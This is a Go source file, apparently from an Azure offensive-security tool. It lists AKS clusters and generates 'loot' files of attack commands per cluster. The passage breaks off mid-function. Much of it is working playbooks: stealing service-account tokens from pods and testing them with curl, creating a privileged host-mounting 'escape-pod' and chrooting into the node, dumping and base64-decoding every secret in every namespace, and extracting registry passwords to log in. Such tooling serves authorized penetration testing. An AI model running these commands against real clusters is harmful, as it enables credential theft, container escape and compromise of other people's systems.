|
||||
|
||||
// ------------------------------
|
||||
// Process single resource group (extracted for RG-level concurrency)
|
||||
// ------------------------------
|
||||
func (m *AksModule) processResourceGroup(ctx context.Context, subID, subName, rgName string, wg *sync.WaitGroup, semaphore chan struct{}, logger internal.Logger) {
|
||||
defer wg.Done()
|
||||
|
||||
// Acquire semaphore
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
// Get AKS clusters using aksService (CACHED)
|
||||
aksSvc := aksservice.New(m.Session)
|
||||
clusters, err := aksSvc.CachedListClustersByResourceGroup(ctx, subID, rgName)
|
||||
if err != nil {
|
||||
// AWS-style error handling: log and count, but continue
|
||||
logger.ErrorM(fmt.Sprintf("Failed to get clusters in RG %s: %v", rgName, err), globals.AZ_AKS_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
// Process each cluster
|
||||
for _, cluster := range clusters {
|
||||
m.addCluster(ctx, cluster, subID, subName, rgName)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Add cluster to collection
|
||||
// ------------------------------
|
||||
func (m *AksModule) addCluster(ctx context.Context, cluster *armcontainerservice.ManagedCluster, subID, subName, rgName string) {
|
||||
clusterName := azinternal.GetAKSClusterName(cluster)
|
||||
k8sVersion := azinternal.GetAKSKubernetesVersion(cluster)
|
||||
|
||||
// Extract managed identities
|
||||
systemAssignedID := "N/A"
|
||||
userAssignedID := "N/A"
|
||||
|
||||
if cluster.Identity != nil {
|
||||
// System Assigned Identity ID
|
||||
if cluster.Identity.PrincipalID != nil {
|
||||
systemAssignedID = *cluster.Identity.PrincipalID
|
||||
}
|
||||
|
||||
// User Assigned Identity IDs
|
||||
if cluster.Identity.UserAssignedIdentities != nil && len(cluster.Identity.UserAssignedIdentities) > 0 {
|
||||
var userAssignedIDs []string
|
||||
for uaID := range cluster.Identity.UserAssignedIdentities {
|
||||
userAssignedIDs = append(userAssignedIDs, azinternal.ExtractResourceName(uaID))
|
||||
}
|
||||
if len(userAssignedIDs) > 0 {
|
||||
userAssignedID = strings.Join(userAssignedIDs, "\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
publicIP, privateFQDN := azinternal.GetAKSClusterFQDNs(cluster)
|
||||
|
||||
publicCluster := "Yes"
|
||||
clusterURL := publicIP
|
||||
if privateFQDN != "N/A" {
|
||||
publicCluster = "No"
|
||||
}
|
||||
|
||||
// Check for EntraID Centralized Auth (Azure AD authentication for AKS)
|
||||
entraIDAuth := "Disabled"
|
||||
if cluster.Properties != nil && cluster.Properties.AADProfile != nil {
|
||||
// Check if managed AAD is enabled OR Azure RBAC for K8s authorization is enabled
|
||||
if (cluster.Properties.AADProfile.Managed != nil && *cluster.Properties.AADProfile.Managed) ||
|
||||
(cluster.Properties.AADProfile.EnableAzureRBAC != nil && *cluster.Properties.AADProfile.EnableAzureRBAC) {
|
||||
entraIDAuth = "Enabled"
|
||||
}
|
||||
}
|
||||
|
||||
aksCluster := AksCluster{
|
||||
TenantName: m.TenantName, // NEW: Always populated for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: Always populated for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: azinternal.GetAKSClusterLocation(cluster),
|
||||
ClusterName: clusterName,
|
||||
K8sVersion: k8sVersion,
|
||||
DNSPrefix: azinternal.SafeStringPtr(cluster.Properties.DNSPrefix),
|
||||
ClusterURL: clusterURL,
|
||||
PublicCluster: publicCluster,
|
||||
EntraIDAuth: entraIDAuth,
|
||||
SystemAssignedID: systemAssignedID,
|
||||
UserAssignedID: userAssignedID,
|
||||
}
|
||||
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
m.Clusters = append(m.Clusters, aksCluster)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output (AWS-style writeLoot pattern)
|
||||
// ------------------------------
|
||||
func (m *AksModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.Clusters) == 0 {
|
||||
logger.InfoM("No AKS clusters found", globals.AZ_AKS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build table rows
|
||||
var tableRows [][]string
|
||||
for _, cluster := range m.Clusters {
|
||||
tableRows = append(tableRows, []string{
|
||||
cluster.TenantName, // NEW: for multi-tenant support
|
||||
cluster.TenantID, // NEW: for multi-tenant support
|
||||
cluster.SubscriptionID,
|
||||
cluster.SubscriptionName,
|
||||
cluster.ResourceGroup,
|
||||
cluster.Region,
|
||||
cluster.ClusterName,
|
||||
cluster.K8sVersion,
|
||||
cluster.DNSPrefix,
|
||||
cluster.ClusterURL,
|
||||
cluster.PublicCluster,
|
||||
cluster.EntraIDAuth,
|
||||
cluster.SystemAssignedID,
|
||||
cluster.UserAssignedID,
|
||||
})
|
||||
}
|
||||
|
||||
// Build headers
|
||||
header := []string{
|
||||
"Tenant Name", // NEW: for multi-tenant support
|
||||
"Tenant ID", // NEW: for multi-tenant support
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"Cluster Name",
|
||||
"Kubernetes Version",
|
||||
"DNS Prefix",
|
||||
"Cluster URL",
|
||||
"Public?",
|
||||
"EntraID Centralized Auth",
|
||||
"System Assigned Identity ID",
|
||||
"User Assigned Identity ID",
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant (multi-tenant mode)
|
||||
if azinternal.ShouldSplitByTenant(m.IsMultiTenant, m.Tenants) {
|
||||
if err := m.FilterAndWritePerTenantAuto(
|
||||
ctx,
|
||||
logger,
|
||||
m.Tenants,
|
||||
tableRows,
|
||||
header,
|
||||
"aks",
|
||||
globals.AZ_AKS_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Check if we should split output by subscription (multiple subs WITHOUT --tenant flag, single tenant)
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
if err := m.FilterAndWritePerSubscriptionAuto(
|
||||
ctx, logger, m.Subscriptions, tableRows, header,
|
||||
"aks", globals.AZ_AKS_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build loot content
|
||||
lootContent := m.generateLoot()
|
||||
podExecLootContent := m.generatePodExecLoot()
|
||||
secretDumpingLootContent := m.generateSecretDumpingLoot()
|
||||
|
||||
// Create output
|
||||
output := AksOutput{
|
||||
Table: []internal.TableFile{
|
||||
{
|
||||
Name: "aks",
|
||||
Header: header,
|
||||
Body: tableRows,
|
||||
},
|
||||
},
|
||||
Loot: []internal.LootFile{
|
||||
{Name: "aks-commands", Contents: lootContent},
|
||||
{Name: "aks-pod-exec-commands", Contents: podExecLootContent},
|
||||
{Name: "aks-secrets-commands", Contents: secretDumpingLootContent},
|
||||
},
|
||||
}
|
||||
|
||||
// Determine output scope (single subscription vs tenant-wide consolidation)
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output using HandleOutputSmart (automatic streaming for large datasets)
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_AKS_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d AKS cluster(s) across %d subscription(s)", len(m.Clusters), len(m.Subscriptions)), globals.AZ_AKS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Generate loot commands
|
||||
// ------------------------------
|
||||
func (m *AksModule) generateLoot() string {
|
||||
var loot string
|
||||
|
||||
for _, cluster := range m.Clusters {
|
||||
loot += fmt.Sprintf(
|
||||
"## AKS Cluster: %s\n"+
|
||||
"# Set subscription context\n"+
|
||||
"az account set --subscription %s\n"+
|
||||
"\n"+
|
||||
"# Show cluster details\n"+
|
||||
"az aks show --name %s --resource-group %s\n"+
|
||||
"\n"+
|
||||
"# Get cluster credentials (adds to ~/.kube/config)\n"+
|
||||
"az aks get-credentials --resource-group %s --name %s\n"+
|
||||
"\n"+
|
||||
"## PowerShell equivalent\n"+
|
||||
"Set-AzContext -SubscriptionId %s\n"+
|
||||
"Get-AzAksCluster -Name %s -ResourceGroupName %s\n"+
|
||||
"# Note: Use az aks get-credentials for kubeconfig - no PowerShell equivalent\n\n",
|
||||
cluster.ClusterName,
|
||||
cluster.SubscriptionID,
|
||||
cluster.ClusterName, cluster.ResourceGroup,
|
||||
cluster.ResourceGroup, cluster.ClusterName,
|
||||
cluster.SubscriptionID,
|
||||
cluster.ClusterName, cluster.ResourceGroup,
|
||||
)
|
||||
}
|
||||
|
||||
return loot
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Generate pod execution and secret dumping commands
|
||||
// ------------------------------
|
||||
func (m *AksModule) generatePodExecLoot() string {
|
||||
var loot string
|
||||
|
||||
loot += "# AKS Pod Execution & Secret Dumping Commands\n"
|
||||
loot += "# NOTE: These commands require cluster credentials obtained via 'az aks get-credentials'\n"
|
||||
loot += "# WARNING: Executing commands in pods and accessing secrets can be detected by cluster monitoring.\n\n"
|
||||
|
||||
for _, cluster := range m.Clusters {
|
||||
loot += fmt.Sprintf("## AKS Cluster: %s (Subscription: %s, RG: %s)\n", cluster.ClusterName, cluster.SubscriptionID, cluster.ResourceGroup)
|
||||
loot += fmt.Sprintf("# Step 0: Get cluster credentials first\n")
|
||||
loot += fmt.Sprintf("az account set --subscription %s\n", cluster.SubscriptionID)
|
||||
loot += fmt.Sprintf("az aks get-credentials --resource-group %s --name %s\n\n", cluster.ResourceGroup, cluster.ClusterName)
|
||||
|
||||
// List pods
|
||||
loot += fmt.Sprintf("# Step 1: List all pods across all namespaces\n")
|
||||
loot += fmt.Sprintf("kubectl get pods --all-namespaces -o wide\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List pods with more details (including node, IP)\n")
|
||||
loot += fmt.Sprintf("kubectl get pods -A -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,NODE:.spec.nodeName,IP:.status.podIP,STATUS:.status.phase\n\n")
|
||||
|
||||
// List privileged pods
|
||||
loot += fmt.Sprintf("# Find privileged pods (potential escape paths)\n")
|
||||
loot += fmt.Sprintf("kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'\n\n")
|
||||
|
||||
// Execute commands in pods
|
||||
loot += fmt.Sprintf("# Step 2: Execute commands in a pod\n")
|
||||
loot += fmt.Sprintf("# List pods in a namespace\n")
|
||||
loot += fmt.Sprintf("kubectl get pods -n <NAMESPACE>\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Get interactive shell in pod\n")
|
||||
loot += fmt.Sprintf("kubectl exec -it <POD-NAME> -n <NAMESPACE> -- /bin/bash\n")
|
||||
loot += fmt.Sprintf("# Or try sh if bash is not available\n")
|
||||
loot += fmt.Sprintf("kubectl exec -it <POD-NAME> -n <NAMESPACE> -- /bin/sh\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Execute single command in pod\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- whoami\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- id\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- hostname\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- env\n\n")
|
||||
|
||||
// Service account tokens
|
||||
loot += fmt.Sprintf("# Step 3: Extract service account tokens from pods\n")
|
||||
loot += fmt.Sprintf("# Service account tokens provide authentication to the Kubernetes API\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Save token to variable\n")
|
||||
loot += fmt.Sprintf("SA_TOKEN=$(kubectl exec <POD-NAME> -n <NAMESPACE> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)\n")
|
||||
loot += fmt.Sprintf("echo \"Service Account Token: $SA_TOKEN\"\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Get service account CA certificate\n")
|
||||
loot += fmt.Sprintf("kubectl exec <POD-NAME> -n <NAMESPACE> -- cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > ca.crt\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Get namespace\n")
|
||||
loot += fmt.Sprintf("SA_NAMESPACE=$(kubectl exec <POD-NAME> -n <NAMESPACE> -- cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)\n\n")
|
||||
|
||||
// Use stolen token
|
||||
loot += fmt.Sprintf("# Step 4: Use stolen service account token to access Kubernetes API\n")
|
||||
loot += fmt.Sprintf("APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\n")
|
||||
loot += fmt.Sprintf("curl -k -H \"Authorization: Bearer $SA_TOKEN\" \"$APISERVER/api/v1/namespaces/$SA_NAMESPACE/pods\"\n\n")
|
||||
|
||||
// Port forwarding
|
||||
loot += fmt.Sprintf("# Step 5: Port forward to services (access internal services)\n")
|
||||
loot += fmt.Sprintf("# List services\n")
|
||||
loot += fmt.Sprintf("kubectl get services --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Port forward to a service\n")
|
||||
loot += fmt.Sprintf("kubectl port-forward -n <NAMESPACE> svc/<SERVICE-NAME> 8080:80\n")
|
||||
loot += fmt.Sprintf("# Then access: http://localhost:8080\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Port forward to a pod directly\n")
|
||||
loot += fmt.Sprintf("kubectl port-forward -n <NAMESPACE> <POD-NAME> 8080:80\n\n")
|
||||
|
||||
// Access Kubernetes dashboard
|
||||
loot += fmt.Sprintf("# Step 6: Access Kubernetes Dashboard (if deployed)\n")
|
||||
loot += fmt.Sprintf("# Check if dashboard is deployed\n")
|
||||
loot += fmt.Sprintf("kubectl get pods -n kubernetes-dashboard\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Port forward to dashboard\n")
|
||||
loot += fmt.Sprintf("kubectl port-forward -n kubernetes-dashboard svc/kubernetes-dashboard 8443:443\n")
|
||||
loot += fmt.Sprintf("# Access: https://localhost:8443\n\n")
|
||||
|
||||
// List all resources
|
||||
loot += fmt.Sprintf("# Step 7: Enumerate cluster resources\n")
|
||||
loot += fmt.Sprintf("# List all resource types\n")
|
||||
loot += fmt.Sprintf("kubectl api-resources\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List nodes\n")
|
||||
loot += fmt.Sprintf("kubectl get nodes -o wide\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List all deployments\n")
|
||||
loot += fmt.Sprintf("kubectl get deployments --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List all services\n")
|
||||
loot += fmt.Sprintf("kubectl get services --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List all config maps (may contain sensitive data)\n")
|
||||
loot += fmt.Sprintf("kubectl get configmaps --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Get specific configmap\n")
|
||||
loot += fmt.Sprintf("kubectl get configmap <CONFIGMAP-NAME> -n <NAMESPACE> -o yaml\n\n")
|
||||
|
||||
// Check permissions
|
||||
loot += fmt.Sprintf("# Step 8: Check your permissions in the cluster\n")
|
||||
loot += fmt.Sprintf("kubectl auth can-i --list\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Check if you can create pods (privilege escalation)\n")
|
||||
loot += fmt.Sprintf("kubectl auth can-i create pods\n")
|
||||
loot += fmt.Sprintf("kubectl auth can-i create pods --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Check if you can get secrets\n")
|
||||
loot += fmt.Sprintf("kubectl auth can-i get secrets\n")
|
||||
loot += fmt.Sprintf("kubectl auth can-i get secrets --all-namespaces\n\n")
|
||||
|
||||
// Container escape
|
||||
loot += fmt.Sprintf("# Step 9: Container escape techniques (if pod is privileged)\n")
|
||||
loot += fmt.Sprintf("# Check if pod is privileged\n")
|
||||
loot += fmt.Sprintf("kubectl get pod <POD-NAME> -n <NAMESPACE> -o jsonpath='{.spec.containers[*].securityContext.privileged}'\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# If privileged, you may be able to access host filesystem\n")
|
||||
loot += fmt.Sprintf("# From inside pod:\n")
|
||||
loot += fmt.Sprintf("# nsenter --target 1 --mount --uts --ipc --net /bin/bash\n\n")
|
||||
|
||||
// Get logs
|
||||
loot += fmt.Sprintf("# Step 10: Get pod logs (may contain sensitive data)\n")
|
||||
loot += fmt.Sprintf("kubectl logs <POD-NAME> -n <NAMESPACE>\n")
|
||||
loot += fmt.Sprintf("kubectl logs <POD-NAME> -n <NAMESPACE> --previous # Previous container logs\n")
|
||||
loot += fmt.Sprintf("kubectl logs <POD-NAME> -n <NAMESPACE> -c <CONTAINER-NAME> # Specific container\n\n")
|
||||
|
||||
// ENHANCED: Multi-step realistic exploitation scenarios
|
||||
loot += fmt.Sprintf("# ========================================\n")
|
||||
loot += fmt.Sprintf("# ENHANCED EXPLOITATION SCENARIOS\n")
|
||||
loot += fmt.Sprintf("# ========================================\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# SCENARIO 1: Automated Privilege Escalation Chain\n")
|
||||
loot += fmt.Sprintf("# Complete workflow: enumerate pods → steal SA tokens → test permissions\n\n")
|
||||
loot += fmt.Sprintf("APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\n")
|
||||
loot += fmt.Sprintf("echo \"Testing service account tokens from all running pods...\"\n")
|
||||
loot += fmt.Sprintf("for NS in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" PODS=$(kubectl get pods -n $NS --field-selector=status.phase=Running -o jsonpath='{.items[*].metadata.name}')\n")
|
||||
loot += fmt.Sprintf(" for POD in $PODS; do\n")
|
||||
loot += fmt.Sprintf(" TOKEN=$(kubectl exec $POD -n $NS -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n")
|
||||
loot += fmt.Sprintf(" [ -z \"$TOKEN\" ] && continue\n")
|
||||
loot += fmt.Sprintf(" # Test if token can list secrets (high-value target)\n")
|
||||
loot += fmt.Sprintf(" SECRETS=$(curl -sk -H \"Authorization: Bearer $TOKEN\" \"$APISERVER/api/v1/namespaces/$NS/secrets\" 2>/dev/null)\n")
|
||||
loot += fmt.Sprintf(" echo $SECRETS | grep -q '\"kind\":\"SecretList\"' && echo \"✓ $NS/$POD token can list secrets!\"\n")
|
||||
loot += fmt.Sprintf(" done\n")
|
||||
loot += fmt.Sprintf("done\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# SCENARIO 2: Container Escape via Privileged Pod Creation\n")
|
||||
loot += fmt.Sprintf("# If you can create pods, this creates a privileged pod with host access\n\n")
|
||||
loot += fmt.Sprintf("cat <<'PODEOF' | kubectl apply -f -\n")
|
||||
loot += fmt.Sprintf("apiVersion: v1\n")
|
||||
loot += fmt.Sprintf("kind: Pod\n")
|
||||
loot += fmt.Sprintf("metadata:\n")
|
||||
loot += fmt.Sprintf(" name: escape-pod\n")
|
||||
loot += fmt.Sprintf("spec:\n")
|
||||
loot += fmt.Sprintf(" hostNetwork: true\n")
|
||||
loot += fmt.Sprintf(" hostPID: true\n")
|
||||
loot += fmt.Sprintf(" containers:\n")
|
||||
loot += fmt.Sprintf(" - name: escape\n")
|
||||
loot += fmt.Sprintf(" image: ubuntu:latest\n")
|
||||
loot += fmt.Sprintf(" command: [\"/bin/sleep\", \"3600\"]\n")
|
||||
loot += fmt.Sprintf(" securityContext:\n")
|
||||
loot += fmt.Sprintf(" privileged: true\n")
|
||||
loot += fmt.Sprintf(" volumeMounts:\n")
|
||||
loot += fmt.Sprintf(" - mountPath: /host\n")
|
||||
loot += fmt.Sprintf(" name: hostroot\n")
|
||||
loot += fmt.Sprintf(" volumes:\n")
|
||||
loot += fmt.Sprintf(" - name: hostroot\n")
|
||||
loot += fmt.Sprintf(" hostPath:\n")
|
||||
loot += fmt.Sprintf(" path: /\n")
|
||||
loot += fmt.Sprintf("PODEOF\n\n")
|
||||
loot += fmt.Sprintf("sleep 5 && kubectl exec -it escape-pod -- chroot /host bash\n\n")
|
||||
|
||||
loot += fmt.Sprintf("---\n\n")
|
||||
}
|
||||
|
||||
return loot
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Generate Kubernetes secret dumping commands
|
||||
// ------------------------------
|
||||
func (m *AksModule) generateSecretDumpingLoot() string {
|
||||
var loot string
|
||||
|
||||
loot += "# Kubernetes Secret Dumping Commands\n"
|
||||
loot += "# NOTE: These commands require cluster credentials obtained via 'az aks get-credentials'\n"
|
||||
loot += "# WARNING: Secrets contain highly sensitive data including passwords, API keys, certificates, and registry credentials.\n\n"
|
||||
|
||||
for _, cluster := range m.Clusters {
|
||||
loot += fmt.Sprintf("## AKS Cluster: %s (Subscription: %s, RG: %s)\n", cluster.ClusterName, cluster.SubscriptionID, cluster.ResourceGroup)
|
||||
loot += fmt.Sprintf("# Step 0: Get cluster credentials first\n")
|
||||
loot += fmt.Sprintf("az account set --subscription %s\n", cluster.SubscriptionID)
|
||||
loot += fmt.Sprintf("az aks get-credentials --resource-group %s --name %s\n\n", cluster.ResourceGroup, cluster.ClusterName)
|
||||
|
||||
// List all secrets
|
||||
loot += fmt.Sprintf("# Step 1: List all secrets across all namespaces\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List secrets with type information\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets -A -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.type,DATA:.data\n\n")
|
||||
|
||||
// List secrets by type
|
||||
loot += fmt.Sprintf("# List secrets by type\n")
|
||||
loot += fmt.Sprintf("# Opaque secrets (generic secrets)\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=Opaque\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Service account tokens\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/service-account-token\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Docker registry credentials (image pull secrets)\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/dockerconfigjson\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# TLS certificates\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/tls\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Basic auth credentials\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/basic-auth\n\n")
|
||||
|
||||
// Dump specific secret
|
||||
loot += fmt.Sprintf("# Step 2: Dump a specific secret (with base64 decoding)\n")
|
||||
loot += fmt.Sprintf("# Get secret in YAML format\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <SECRET-NAME> -n <NAMESPACE> -o yaml\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Get secret data as JSON\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <SECRET-NAME> -n <NAMESPACE> -o json | jq '.data'\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Dump and decode all secret values\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data}' | jq -r 'to_entries[] | \"\\(.key): \\(.value | @base64d)\"'\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Decode a specific key from a secret\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.<KEY-NAME>}' | base64 -d\n\n")
|
||||
|
||||
// Dump all secrets
|
||||
loot += fmt.Sprintf("# Step 3: Dump ALL secrets from a namespace (decoded)\n")
|
||||
loot += fmt.Sprintf("NAMESPACE=\"<NAMESPACE>\"\n")
|
||||
loot += fmt.Sprintf("for SECRET in $(kubectl get secrets -n $NAMESPACE -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" echo \"Secret: $SECRET\"\n")
|
||||
loot += fmt.Sprintf(" kubectl get secret $SECRET -n $NAMESPACE -o jsonpath='{.data}' | jq -r 'to_entries[] | \" \\(.key): \\(.value | @base64d)\"'\n")
|
||||
loot += fmt.Sprintf(" echo \"\"\n")
|
||||
loot += fmt.Sprintf("done\n\n")
|
||||
|
||||
// Dump all secrets from all namespaces
|
||||
loot += fmt.Sprintf("# Step 4: Dump ALL secrets from ALL namespaces (decoded)\n")
|
||||
loot += fmt.Sprintf("for NAMESPACE in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" echo \"Namespace: $NAMESPACE\"\n")
|
||||
loot += fmt.Sprintf(" for SECRET in $(kubectl get secrets -n $NAMESPACE -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" echo \" Secret: $SECRET\"\n")
|
||||
loot += fmt.Sprintf(" kubectl get secret $SECRET -n $NAMESPACE -o jsonpath='{.data}' | jq -r 'to_entries[] | \" \\(.key): \\(.value | @base64d)\"' 2>/dev/null\n")
|
||||
loot += fmt.Sprintf(" done\n")
|
||||
loot += fmt.Sprintf("done\n\n")
|
||||
|
||||
// Extract image pull secrets
|
||||
loot += fmt.Sprintf("# Step 5: Extract Docker registry credentials (imagePullSecrets)\n")
|
||||
loot += fmt.Sprintf("# List all image pull secrets\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/dockerconfigjson -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Decode a specific image pull secret\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <REGISTRY-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 -d | jq\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Extract registry credentials\n")
|
||||
loot += fmt.Sprintf("REGISTRY_SECRET=$(kubectl get secret <REGISTRY-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 -d)\n")
|
||||
loot += fmt.Sprintf("echo \"$REGISTRY_SECRET\" | jq -r '.auths | to_entries[] | \"Registry: \\(.key)\\nUsername: \\(.value.username)\\nPassword: \\(.value.password)\\nAuth: \\(.value.auth | @base64d)\\n\"'\n\n")
|
||||
|
||||
// Use stolen registry credentials
|
||||
loot += fmt.Sprintf("# Step 6: Use stolen registry credentials\n")
|
||||
loot += fmt.Sprintf("# Extract registry URL, username, and password\n")
|
||||
loot += fmt.Sprintf("REGISTRY=$(kubectl get secret <REGISTRY-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 -d | jq -r '.auths | keys[0]')\n")
|
||||
loot += fmt.Sprintf("USERNAME=$(kubectl get secret <REGISTRY-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 -d | jq -r '.auths[].username')\n")
|
||||
loot += fmt.Sprintf("PASSWORD=$(kubectl get secret <REGISTRY-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 -d | jq -r '.auths[].password')\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Login to container registry\n")
|
||||
loot += fmt.Sprintf("echo \"$PASSWORD\" | docker login $REGISTRY -u $USERNAME --password-stdin\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Or for Azure Container Registry\n")
|
||||
loot += fmt.Sprintf("az acr login --name <ACR-NAME> --username $USERNAME --password $PASSWORD\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# List images in registry (if ACR)\n")
|
||||
loot += fmt.Sprintf("az acr repository list --name <ACR-NAME> --username $USERNAME --password $PASSWORD\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Pull image from registry\n")
|
||||
loot += fmt.Sprintf("docker pull $REGISTRY/<IMAGE-NAME>:<TAG>\n\n")
|
||||
|
||||
// TLS certificates
|
||||
loot += fmt.Sprintf("# Step 7: Extract TLS certificates and keys\n")
|
||||
loot += fmt.Sprintf("# List TLS secrets\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/tls\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Extract TLS certificate\n")
|
||||
loot += fmt.Sprintf("kubectl get secret <TLS-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.tls\\.crt}' | base64 -d > tls.crt\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Extract TLS private key\n")
|
||||
